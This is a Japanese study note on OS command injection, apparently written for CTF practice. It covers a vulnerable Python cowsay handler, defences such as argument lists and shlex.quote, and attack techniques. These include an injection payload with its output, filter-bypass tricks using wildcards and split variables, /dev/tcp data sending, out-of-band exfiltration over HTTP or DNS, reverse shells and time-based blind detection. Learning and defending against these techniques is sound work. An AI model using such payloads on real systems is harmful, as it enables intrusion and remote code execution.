OS Command Injection
OSコマンドが注入できる脆弱性
Remote Code Executionができる
例
/cowsay?message=mowのようにすると、cowsayコマンドの結果を出力できるサイトがあるとする
code:cowsay
_____
< mow >
-----
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
実装は次のようになっている
code:server.py
def get_cowsay(message):
return subprocess.run(f'cowsay "{message}"', shell=True, capture_output=True)
messageがコマンドに直接展開されていることに注目する
messageにhoge"; id / #を入力すると、全体のコマンドはこうなる
cowsay "hoge"; id # "
#はコメント
idコマンドが実行されるので、結果はこうなる
code:result
______
< hoge >
------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
uid=1000(satoooon) gid=1000(satoooon) groups=1000(satoooon)
これで任意コマンドの実行ができた
対策
入力を含むコマンドの実行は非常に脆弱性を作りこみやすいので、基本しない方がいい
やるならできるだけValidationする
シェルコマンドとして実行せず、引数を指定して直接実行する
シェルで実行されないので、;などで新しくコマンドを実行できない
コマンドに悪用できる引数がある場合は脆弱なので十分に調べること
例: subprocess.run(["base64", message], capture_output=True)
エスケープを行う
絶対に自前でエスケープ処理を書かない
ライブラリを利用しましょう
Python:shlex.quote
The shlex module is only designed for Unix shells. https://docs.python.org/ja/3/library/shlex.html
POSIX非準拠のシェルやWindowsなどのOSだと安全でない可能性がある
PHP: escapeshellarg
escapeshellcmdは場合によっては脆弱になるので注意
PHPのescapeshellcmdの危険性 https://blog.tokumaru.org/2011/01/php-escapeshellcmd-is-dangerous.html
テクニック
Option Injection
引数を直接指定して実行しているときでも、悪用できるオプションがあれば攻撃できる
CrewCTF 2023 - sequence_gallery
Reverse Shell
出力が見れないときはリバースシェルが有効
面倒くさいときはHTTPやDNS経由で送ることもできる
bash
バッククオート「ls」や「$(ls)」、「<(ls)」でコマンドが実行できる
ScrapBoxでバッククオートをエスケープする方法がわからん
$(<file)は$(cat file)と等価
ワイルドカード
UNIXのワイルドカード http://www.edu.tuis.ac.jp/~mackin/java/2008/linux/wildcard.html
?は任意の一文字を表す
/b??/o?で/bin/odを作れたりする
[set]はset内の一文字を表す
[abc]でabcのどれか
[!abc]でabc以外のどれか
[a-z]でaからzのどれか
*は任意の文字列を表す
ブレース展開
{a,b}.txtでa.txt b.txtに展開される
変数
bashが文字列として禁止されているときはA=ba B=sh $A$BとするとBypassできる
変数展開のまとめ https://qiita.com/t_nakayama0714/items/80b4c94de43643f4be51
$(())など入力が算術式として評価される場合は任意コード実行ができる
bash の危険な算術式 https://ya.maya.st/d/201909a.html
SECCON 2020 Online CTF - WAFThrough https://st98.github.io/diary/posts/2020-10-15-seccon-2020-online-ctf.html#misc-305-wafthrough-8-solves
/dev/tcp/{ip}/{port}
echo hoge > /dev/tcp/127.0.0.1/8080で127.0.0.1:8080にhogeを送信できる
bash限定で実際のファイルシステムには存在しない
TCP通信以外にもHTTPやDNSが有効
DNSBin https://requestbin.net/dns
ruby
open("| ls")でlsを実行できる https://docs.ruby-lang.org/ja/latest/method/Kernel/m/open.html
perl
open(FILE, "ls |")でlsを実行できる https://perldoc.jp/docs/perl/5.10.0/perlopentut.pod#Pipe32Opens
Time-based Blind OS Command Injection
出力が見れず、外部のインターネットにも繋がらないときはcmd && sleep 5などを使えばTime-basedに特定できる
https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
資料
IPA https://www.ipa.go.jp/security/vuln/websecurity-HTML-1_2.html
CTFのWebセキュリティにおけるCommand Injectionまとめ(Linux, Windows, RCE) https://blog.hamayanhamayan.com/entry/2021/12/14/222235
PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
Web Security Academy https://portswigger.net/web-security/os-command-injection